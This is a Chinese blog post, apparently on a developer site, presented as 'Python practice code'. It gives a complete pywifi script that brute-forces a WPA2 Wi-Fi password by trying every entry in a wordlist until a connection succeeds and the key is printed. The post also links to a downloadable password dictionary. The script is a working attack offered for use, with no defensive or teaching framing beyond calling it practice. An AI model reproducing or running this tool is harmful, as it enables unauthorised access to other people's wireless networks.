Python练手代码

import pywifi
from pywifi import const  #引用一些定义
import time
def testwifi(password):

    wifi=pywifi.PyWiFi()   #抓取WiFi接口
    ifaces=wifi.interfaces()[0]  #一般来说,平台上只有一个Wi-Fi接口。因此,使用索引0来获得Wi-Fi接口
    #print(ifaces.name())  #我们可以试试输出网卡名称
    ifaces.disconnect()  #断开网卡连接

    profile=pywifi.Profile()   #定义配置文件对象
    profile.ssid='root'   #wifi名称,貌似不能用中文?
    profile.auth=const.AUTH_ALG_OPEN   #auth - AP的认证算法
    profile.akm.append(const.AKM_TYPE_WPA2PSK) #选择wifi加密方式  akm - AP的密钥管理类型
    profile.cipher=const.CIPHER_TYPE_CCMP  #cipher - AP的密码类型
    profile.key=password   #wifi密钥 如果无密码,则应该设置此项CIPHER_TYPE_NONE

    ifaces.remove_all_network_profiles()  #删除其他配置文件
    tmp_profile=ifaces.add_network_profile(profile)   #加载配置文件

    ifaces.connect(tmp_profile)   #按配置文件进行连接
    time.sleep(1)  #尝试几秒能否成功连接

    if ifaces.status() == const.IFACE_CONNECTED:   #判断连接状态
        return True
    else:
        return False

def main():
    print("start ...")
    path=r"C:\Users\Administrator\Desktop\wordlist.txt"
    files=open(path,'r')
    while True:
        f=files.readline()
        f = f[:-1]   #去除了这行文本的最后一个字符(换行符)后剩下的部分
        print('[-]正在尝试:', f)
        bool=testwifi(f)
        if bool:
            print('[+]wifi连接成功!')
            print("密码为:",f)
            break
        else:
            print("[-]wifi连接失败!")
        if not f:   #如果文件逐行读取完,则退出
            break
    files.close()

if __name__=="__main__":
    main()

网上找的一个密码库:https://pan.baidu.com/share/init?surl=v-0IvZzuoFunHu8YuNGyHA 提取码:ntfe

  • 9
    点赞
  • 58
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 8
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 8
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

森诺Alyson

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值